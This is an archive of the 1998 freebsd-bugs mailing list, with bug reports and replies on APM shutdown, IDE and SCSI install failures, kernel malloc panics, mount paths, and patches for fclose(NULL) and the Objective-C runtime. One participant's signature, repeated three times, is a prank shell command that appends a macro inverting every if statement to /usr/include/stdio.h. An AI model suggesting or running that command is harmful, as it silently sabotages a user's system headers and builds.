From owner-freebsd-bugs Sun Sep 6 00:20:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA14864 for freebsd-bugs-outgoing; Sun, 6 Sep 1998 00:20:09 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id AAA14784 for ; Sun, 6 Sep 1998 00:20:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id AAA03424; Sun, 6 Sep 1998 00:20:01 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id AAA14078; Sun, 6 Sep 1998 00:13:18 -0700 (PDT) (envelope-from nobody) Message-Id: <199809060713.AAA14078@hub.freebsd.org> Date: Sun, 6 Sep 1998 00:13:18 -0700 (PDT) From: graphix@iastate.edu To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: bin/7839: Would be nice if cvsup would print log messages. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7839 >Category: bin >Synopsis: Would be nice if cvsup would print log messages. >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: change-request >Submitter-Id: current-users >Arrival-Date: Sun Sep 6 00:20:01 PDT 1998 >Last-Modified: >Originator: Kent Vander Velden >Organization: >Release: -current >Environment: >Description: When cvsup is retreiving delta for changed files it displays the cvs id of the patches being applied. It sure would be cool if cvsup would also display the log message associated with the patch. That would make viewing what gone changed and why a lot easier. >How-To-Repeat: >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Sep 6 04:23:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA08228 for freebsd-bugs-outgoing; Sun, 6 Sep 1998 04:23:51 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from indigo.ie (ts05-095.dublin.indigo.ie [194.125.220.105]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA08222; Sun, 6 Sep 1998 04:23:47 -0700 (PDT) (envelope-from rotel@indigo.ie) Received: (from nsmart@localhost) by indigo.ie (8.8.8/8.8.7) id LAA00278; Sun, 6 Sep 1998 11:25:16 +0100 (IST) (envelope-from rotel@ginseng.indigo.ie) From: Niall Smart Message-Id: <199809061025.LAA00278@indigo.ie> Date: Sun, 6 Sep 1998 11:25:15 +0000 In-Reply-To: <199809031050.DAA07819@freefall.freebsd.org>; Satoshi Asami Reply-To: rotel@indigo.ie X-Files: The truth is out there X-Mailer: Mail User's Shell (7.2.6 beta(3) 11/17/96) To: asami@FreeBSD.ORG (Satoshi Asami), freebsd-bugs@FreeBSD.ORG Subject: Re: kern/7812: APM machines should attempt to power down at halt Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > * Some laptops and ATX machines can power themselves off under APM > * control. When such machines are halted, they should at least try > * to power themselves off if APM events are enabled. If the attempt > * fails, this code will fall through to the traditional 'press any > * key to reboot' prompt. > > I think this is a bad idea. We have a whole bunch of boxes that are > connected to serial consoles. If they power off at halt, I'll have to > drive 50 miles to press the power button. :< Well, I don't see the problem, you can still use "shutdown -r" to reboot the machines remotely. And if you're really worried about accidentally forgetting the "-r" then you can simple not enable APM. I think this patch should go in. (I like being able to shut off the computer without getting out of my bed ;) Niall -- Niall Smart, rotel@indigo.ie. Amaze your friends and annoy your enemies: echo '#define if(x) if (!(x))' >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Sep 6 04:30:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA08859 for freebsd-bugs-outgoing; Sun, 6 Sep 1998 04:30:09 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA08795 for ; Sun, 6 Sep 1998 04:30:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id EAA09558; Sun, 6 Sep 1998 04:30:00 -0700 (PDT) Date: Sun, 6 Sep 1998 04:30:00 -0700 (PDT) Message-Id: <199809061130.EAA09558@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Niall Smart Subject: Re: i386/7815: probe can't find wdc0 Reply-To: Niall Smart Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR i386/7815; it has been noted by GNATS. From: Niall Smart To: jefl@ix.netcom.com, freebsd-gnats-submit@FreeBSD.ORG Cc: Subject: Re: i386/7815: probe can't find wdc0 Date: Sun, 6 Sep 1998 11:26:19 +0000 On Sep 2, 10:21pm, jefl@ix.netcom.com wrote: } Subject: i386/7815: probe can't find wdc0 > help! I'm STILL trying to install a kernel on my new machine, Iwill > XA-100 mbd., AMD K6-2 300 CPU, Samsung hard drive on primary IDE, 32M RAM, > 32X CD-ROM on sec. there IS a bug report that says with both IDE's enabled > status could be wrong. I think there's more to this problem, because > even when I disble the secondary it still can't find the primary. should > I try to just ignore the probe and brute-force it through CLI? I'm > willing to experiment; are there any known settings (AMI BIOS, by the > way) that could prevent it from seeing the IRQ? this one's got me Hmm, could you try moving the CD-ROM from the secondary to the primary and then try both with and without the secondary controller enabled? Niall -- Niall Smart, rotel@indigo.ie. Amaze your friends and annoy your enemies: echo '#define if(x) if (!(x))' >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Sep 6 04:30:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA08863 for freebsd-bugs-outgoing; Sun, 6 Sep 1998 04:30:10 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA08809 for ; Sun, 6 Sep 1998 04:30:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id EAA09563; Sun, 6 Sep 1998 04:30:01 -0700 (PDT) Date: Sun, 6 Sep 1998 04:30:01 -0700 (PDT) Message-Id: <199809061130.EAA09563@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Niall Smart Subject: Re: i386/7815: probe can't find wdc0 Reply-To: Niall Smart Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR i386/7815; it has been noted by GNATS. From: Niall Smart To: jefl@ix.netcom.com, freebsd-gnats-submit@FreeBSD.ORG Cc: Subject: Re: i386/7815: probe can't find wdc0 Date: Sun, 6 Sep 1998 11:26:19 +0000 On Sep 2, 10:21pm, jefl@ix.netcom.com wrote: } Subject: i386/7815: probe can't find wdc0 > help! I'm STILL trying to install a kernel on my new machine, Iwill > XA-100 mbd., AMD K6-2 300 CPU, Samsung hard drive on primary IDE, 32M RAM, > 32X CD-ROM on sec. there IS a bug report that says with both IDE's enabled > status could be wrong. I think there's more to this problem, because > even when I disble the secondary it still can't find the primary. should > I try to just ignore the probe and brute-force it through CLI? I'm > willing to experiment; are there any known settings (AMI BIOS, by the > way) that could prevent it from seeing the IRQ? this one's got me Hmm, could you try moving the CD-ROM from the secondary to the primary and then try both with and without the secondary controller enabled? Niall -- Niall Smart, rotel@indigo.ie. Amaze your friends and annoy your enemies: echo '#define if(x) if (!(x))' >> /usr/include/stdio.h To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Sep 6 10:00:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id KAA03777 for freebsd-bugs-outgoing; Sun, 6 Sep 1998 10:00:04 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id KAA03708 for ; Sun, 6 Sep 1998 10:00:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id KAA02225; Sun, 6 Sep 1998 10:00:00 -0700 (PDT) Received: (from nobody@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA02919; Sun, 6 Sep 1998 09:50:35 -0700 (PDT) (envelope-from nobody) Message-Id: <199809061650.JAA02919@hub.freebsd.org> Date: Sun, 6 Sep 1998 09:50:35 -0700 (PDT) From: nxiv@my-dejanews.com To: freebsd-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: www-1.0 Subject: kern/7843: Unable to install FreeBSD on Tekram DC-390F w/Fujitsu MAB3045SP Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7843 >Category: kern >Synopsis: Unable to install FreeBSD on Tekram DC-390F w/Fujitsu MAB3045SP >Confidential: no >Severity: critical >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sun Sep 6 10:00:00 PDT 1998 >Last-Modified: >Originator: John C. Archambeau >Organization: >Release: 3.0-19980804-SNAP >Environment: Unable to obtain, FreeBSD crashes on installation. >Description: When attempting to install FreeBSD 3.0-19980504-SNAP the installation locks up with the following error obtained by doing an ALT-F2 on the console. DEBUG: ioctl (3, TIOCCONS, NULL) = 0 (success) DEGUG: Found a network device named de0 DEBUG: Found a network device named lp0 cd0: NOT READY asc 3a:0 Medium not present ncr0:0 Error (0:41) (9-a9-0) (10/9d) @ (scripth 54c:19000000) ncr0: script cmd = 88080000 ncr0: regdump ca 10 80 9d 47 10 00 07 03 0a 80 a9 80 01 19 00. ncr0: have to clear fifos. ncr0: restart (fatal error). ncr0: timeout ccb = 107a1a00 (skip). Then the hard drive light says solid and the installation proceeds no further. >How-To-Repeat: Install FreeBSD 3.0-SNAP on a machine with a Tekram DC-390F with a Fujitsu MAB3045SP UW SCSI HD. The problem did not occur until until I removed the previous hard drive and replaced it with the Fujitsu drive and attempted to install FreeBSD on it. The problem occurs consistantly with the current version of SNAP and the 3.0-980520-SNAP release. >Fix: >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Sep 6 11:10:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id LAA09997 for freebsd-bugs-outgoing; Sun, 6 Sep 1998 11:10:53 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id LAA09992; Sun, 6 Sep 1998 11:10:50 -0700 (PDT) (envelope-from jdp@FreeBSD.org) From: John Polstra Received: (from jdp@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id LAA03943; Sun, 6 Sep 1998 11:10:50 -0700 (PDT) Date: Sun, 6 Sep 1998 11:10:50 -0700 (PDT) Message-Id: <199809061810.LAA03943@freefall.freebsd.org> To: graphix@iastate.edu, jdp@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/7839 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Would be nice if cvsup would print log messages. State-Changed-From-To: open-closed State-Changed-By: jdp State-Changed-When: Sun Sep 6 11:08:44 PDT 1998 State-Changed-Why: Thanks, it's a good idea. I've added it to the to-do list for CVSup. I am closing this PR because CVSup is 3rd party software and is not an actual part of FreeBSD. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Sep 6 20:50:06 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA07474 for freebsd-bugs-outgoing; Sun, 6 Sep 1998 20:50:06 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA07412 for ; Sun, 6 Sep 1998 20:50:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id UAA16341; Sun, 6 Sep 1998 20:50:01 -0700 (PDT) Date: Sun, 6 Sep 1998 20:50:01 -0700 (PDT) Message-Id: <199809070350.UAA16341@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: bifrost@dis.org Subject: Re:kern/7822:MachineRebootswithoutreason Reply-To: bifrost@dis.org Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR kern/7822; it has been noted by GNATS. From: bifrost@dis.org To: freebsd-gnats-submit@freebsd.org, bifrost@dis.org Cc: Subject: Re:kern/7822:MachineRebootswithoutreason Date: Sun, 6 Sep 1998 20:44:57 -0700 (PDT) I finally got a console on the machine, and I got an error message out of it... (copied by hand) panic : kmem_malloc : kmem_map too small then it drops me into the debugger still no signs of if this is a HW problem To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sun Sep 6 21:16:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA10613 for freebsd-bugs-outgoing; Sun, 6 Sep 1998 21:16:04 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA10595 for ; Sun, 6 Sep 1998 21:16:00 -0700 (PDT) (envelope-from root@implode.root.com) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id VAA21527; Sun, 6 Sep 1998 21:12:28 -0700 (PDT) Message-Id: <199809070412.VAA21527@implode.root.com> To: bifrost@dis.org cc: freebsd-bugs@FreeBSD.ORG Subject: Re: kern/7822:MachineRebootswithoutreason In-reply-to: Your message of "Sun, 06 Sep 1998 20:50:01 PDT." <199809070350.UAA16341@freefall.freebsd.org> From: David Greenman Reply-To: dg@root.com Date: Sun, 06 Sep 1998 21:12:28 -0700 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >The following reply was made to PR kern/7822; it has been noted by GNATS. > >From: bifrost@dis.org >To: freebsd-gnats-submit@freebsd.org, bifrost@dis.org >Cc: Subject: Re:kern/7822:MachineRebootswithoutreason >Date: Sun, 6 Sep 1998 20:44:57 -0700 (PDT) > > I finally got a console on the machine, and I got an error message out > of it... > > (copied by hand) > panic : kmem_malloc : kmem_map too small > then it drops me into the debugger Your system is running out of kernel malloc space. This size of that is controlled by VM_KMEM_SIZE in /sys/i386/include/vmparam.h. -DG David Greenman Co-founder/Principal Architect, The FreeBSD Project To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 01:40:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA09923 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 01:40:04 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA09910 for ; Mon, 7 Sep 1998 01:40:01 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id BAA24601; Mon, 7 Sep 1998 01:40:00 -0700 (PDT) Received: from gw-nl1.philips.com (gw-nl1.philips.com [192.68.44.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA09845 for ; Mon, 7 Sep 1998 01:38:52 -0700 (PDT) (envelope-from Jos.Backus@nl.origin-it.com) Received: from smtprelay-nl1.philips.com (localhost.philips.com [127.0.0.1]) by gw-nl1.philips.com with ESMTP id KAA26963 for ; Mon, 7 Sep 1998 10:38:45 +0200 (MEST) (envelope-from Jos.Backus@nl.origin-it.com) Received: from hal.mpn.cp.philips.com (hal.mpn.cp.philips.com [130.139.64.195]) by smtprelay-nl1.philips.com (8.8.5/8.6.10-1.2.2m-970826) with SMTP id KAA06243 for ; Mon, 7 Sep 1998 10:38:45 +0200 (MET DST) Received: (qmail 15613 invoked by uid 666); 7 Sep 1998 08:39:06 -0000 Message-Id: <19980907083906.15612.qmail@hal.mpn.cp.philips.com> Date: 7 Sep 1998 08:39:06 -0000 From: Jos.Backus@nl.origin-it.com Reply-To: Jos.Backus@nl.origin-it.com To: FreeBSD-gnats-submit@FreeBSD.ORG X-Send-Pr-Version: 3.2 Subject: bin/7846: /sbin/mount_* do not canonicalize the mount node pathname. Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7846 >Category: bin >Synopsis: /sbin/mount_* do not canonicalize the mount node pathname. >Confidential: no >Severity: non-critical >Priority: low >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: doc-bug >Submitter-Id: current-users >Arrival-Date: Mon Sep 7 01:40:00 PDT 1998 >Last-Modified: >Originator: Jos Backus >Organization: Origin B.V. >Release: FreeBSD 3.0-CURRENT i386 >Environment: All versions. >Description: hal:/tmp# pwd /tmp hal:/tmp# mkdir mnt hal:/tmp# mount_cd9660 /dev/wcd0c mnt hal:/tmp# mount /dev/wd0s1a on / (local, soft-updates, writes: sync 2 async 15105) /dev/wd0s1f on /usr (local, soft-updates, writes: sync 996 async 182232) /dev/wd0s1e on /var (local, soft-updates, writes: sync 2 async 43238) procfs on /proc (local) mfs:23 on /tmp (asynchronous, local, writes: sync 23 async 2259) /dev/wcd0c on mnt (local, read-only) hal:/tmp# umount mnt umount: mnt: not currently mounted hal:/tmp# umount /tmp/mnt umount: /tmp/mnt: not currently mounted hal:/tmp# umount /dev/wcd0c hal:/tmp# >How-To-Repeat: See above. >Fix: Document this fact or canonicalize as done in mount(8). >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 07:16:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA07257 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 07:16:41 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA07248; Mon, 7 Sep 1998 07:16:29 -0700 (PDT) (envelope-from bde@FreeBSD.org) From: Bruce Evans Received: (from bde@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id HAA19116; Mon, 7 Sep 1998 07:16:29 -0700 (PDT) Date: Mon, 7 Sep 1998 07:16:29 -0700 (PDT) Message-Id: <199809071416.HAA19116@freefall.freebsd.org> To: haible@ilog.fr, bde@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: bin/4568 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: simple /bin/sh script produces wrong results State-Changed-From-To: analyzed-closed State-Changed-By: bde State-Changed-When: Mon Sep 7 07:14:20 PDT 1998 State-Changed-Why: Fixed by tegge in rev.1.23 of sh/expand.c, etc. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 07:43:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA09636 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 07:43:57 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from relay.esat.net (relay.esat.net [192.111.39.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA09629 for ; Mon, 7 Sep 1998 07:43:55 -0700 (PDT) (envelope-from nialls@euristix.ie) Received: from (euristix.ie) [193.120.210.2] by relay.esat.net with esmtp id 0zG2W4-00063C-00; Mon, 7 Sep 1998 15:43:41 +0100 Received: by gateway.euristix.ie id <19716>; Mon, 7 Sep 1998 15:39:41 +0100 Message-Id: <98Sep7.153941bst.19716@gateway.euristix.ie> Date: Mon, 7 Sep 1998 15:19:04 +0100 From: Niall Smart X-Mailer: Mozilla 4.05 [en] (X11; I; FreeBSD 3.0-CURRENT i386) MIME-Version: 1.0 To: freebsd-bugs@FreeBSD.ORG Subject: Processes get "stuck" accessing filesystems backed by vnode devices Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I configured a 100 meg vnode and mounted it and tried to fill it up using dd, it hung after a while and so did a number of other processes which tried to access it: [nsmart@phrynia ~]$ ps -wwal | egrep 'ls|mount|dd' 1000 8140 8138 0 -14 0 368 72 inode D+ p0 0:00.00 ls -la /2 0 8135 7984 4 -2 0 236 84 getblk D+ p1 0:00.60 dd if=/dev/zero of=foo bs=8192 0 8175 8167 0 -2 0 308 28 getblk D+ p2 0:00.01 umount -f /2 If I can reproduce it, I'll provide more information. Niall To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 08:00:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id IAA11382 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 08:00:30 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id IAA11287 for ; Mon, 7 Sep 1998 08:00:15 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id IAA20260; Mon, 7 Sep 1998 08:00:02 -0700 (PDT) Date: Mon, 7 Sep 1998 08:00:02 -0700 (PDT) Message-Id: <199809071500.IAA20260@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Martin Cracauer Subject: Re: bin/7742: fclose(3) dumps core on NULL Reply-To: Martin Cracauer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR bin/7742; it has been noted by GNATS. From: Martin Cracauer To: wb@yorikke.arb-phys.uni-dortmund.de, FreeBSD-gnats-submit@FreeBSD.ORG Cc: Subject: Re: bin/7742: fclose(3) dumps core on NULL Date: Mon, 7 Sep 1998 16:47:38 +0200 --6TrnltStXW4iwmi0 Content-Type: text/plain; charset=us-ascii In <199808251359.PAA17757@yorikke.arb-phys.uni-dortmund.de>, Wilhelm B. Kloke wrote: > I found for the 2nd time that installing a program failed > for fclose coredumping when ivoked with NULL. (teTeX-0.9) > The man page doe not say anything on this. But it seems > programming practice, closing a file after open, even if > the open failed. > So the library fclose should return gracefully when > invoked with NULL. Urgs. I understand people want to close "just in case some resources are left over" from the failed open. Sadly, this is complete nonsense, since the FILE pointer doesn't point to anything that resembles a pointer to anything to clean up if it is NULL and fopen doesn't return anything else than NULL on errors. I checked that SunOS, Solaris and Linux actually support this, and I think we can do so as well, since: - The cost is near zero, since the pointer we check is followed anyway. - There is a way to report the error, a careful programmer (checking the return value of fclose) will be notified on the error nothingtheless. - The probability that the NULL pointer is carried around further by the caller is low. I could commit the fix as follows, but could someone with more authority approve it, please? I don't want to be eaten alive :-) Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer/ BSD User Group Hamburg/Germany http://www.bsdhh.org/ --6TrnltStXW4iwmi0 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=diff Index: fclose.c =================================================================== RCS file: /home/ncvs/src/lib/libc/stdio/fclose.c,v retrieving revision 1.6 diff -c -r1.6 fclose.c *** fclose.c 1998/04/11 07:40:42 1.6 --- fclose.c 1998/09/07 14:14:21 *************** *** 54,60 **** { register int r; ! if (fp->_flags == 0) { /* not open! */ errno = EBADF; return (EOF); } --- 54,60 ---- { register int r; ! if (fp == NULL || fp->_flags == 0) { /* not open! */ errno = EBADF; return (EOF); } --6TrnltStXW4iwmi0-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 09:10:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA19898 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 09:10:04 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA19851 for ; Mon, 7 Sep 1998 09:10:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id JAA21983; Mon, 7 Sep 1998 09:10:01 -0700 (PDT) Date: Mon, 7 Sep 1998 09:10:01 -0700 (PDT) Message-Id: <199809071610.JAA21983@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Martin Cracauer Subject: Re: gnu/7811: Patch to build Objective C library shared Reply-To: Martin Cracauer Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR gnu/7811; it has been noted by GNATS. From: Martin Cracauer To: shmit@kublai.com, FreeBSD-gnats-submit@FreeBSD.ORG Cc: Subject: Re: gnu/7811: Patch to build Objective C library shared Date: Mon, 7 Sep 1998 18:00:41 +0200 In <199809021617.MAA14165@natasya.kublai.com>, shmit@kublai.com wrote: > It was not possible to build the Objective C library shared with > a.out, because the linker would generate symbol relocation warnings > that Bruce didn't like. With ELF, I get no such warnings, so I've > put a conditional in to building that will generate a shared lib > for ELF, but not for a.out. Do you really think that makes sense? Remember that each Objective-C method call calls a function from the runtime and making it shared means one pointer indirection more, with the usual bad cache effects. Here is a benchmark running small methods, smaller than a method normally is, i.e. just adding to an instance variable. I expect this benchmark not to show any cache trashing effects that a real application may encounter. This is an aout system. Sorry for the German strings. libobjc statically linked: 1.81 s (99.9%): `call auf id (aufwaermrunde)' 1.80 s (99.5%): `call auf id' 1.76 s (99.9%): `call auf id, 4. Subclasse' 1.76 s (100.0%): `call auf id, 3. Subclasse (vererbte Message)' 1.61 s (97.8%): `call auf id, 4. Subclasse ohne Parameter' 1.81 s (99.9%): `call auf id' 0.84 s (99.9%): `call auf id, 4. Subcl. ueber selector mit parameter' 0.68 s (99.9%): `call auf id, 4. Subcl. ueber selector ohne parameter' 1.86 s (100.0%): `call auf id, 4 Subclassen' 1.82 s (100.0%): `call auf declared' 3.63 s (100.0%): `call auf id mit id' libobjoc dynamically linked: 2.20 s (100.0%): `call auf id (aufwaermrunde)' 2.18 s (100.0%): `call auf id' 2.18 s (100.0%): `call auf id, 4. Subclasse' 2.20 s (98.6%): `call auf id, 3. Subclasse (vererbte Message)' 1.97 s (99.0%): `call auf id, 4. Subclasse ohne Parameter' 2.20 s (99.7%): `call auf id' 0.83 s (95.3%): `call auf id, 4. Subcl. ueber selector mit parameter' 0.63 s (99.4%): `call auf id, 4. Subcl. ueber selector ohne parameter' 2.29 s (99.6%): `call auf id, 4 Subclassen' 2.14 s (100.0%): `call auf declared' 4.69 s (99.7%): `call auf id mit id' The lib is < 80 KB. That isn't worth the slowdown, IMHO. The right thing might be to pull the method lookup functions into a seperate library that is static only and the rest into a dynamic library, but I think that will break most application Makefiles respectivly configure scripts. Opinions? If noone objects, I would leave it disabled, but change the string from NOPIC= does not work to NOPIC= works, but method lookup slowdown is significant Martin -- %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Martin Cracauer http://www.cons.org/cracauer BSD User Group Hamburg, Germany http://www.bsdhh.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Mon Sep 7 09:18:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id JAA21375 for freebsd-bugs-outgoing; Mon, 7 Sep 1998 09:18:26 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id JAA21129; Mon, 7 Sep 1998 09:17:55 -0700 (PDT) (envelope-from cracauer@FreeBSD.org) From: Martin Cracauer Received: (from cracauer@localhost) by 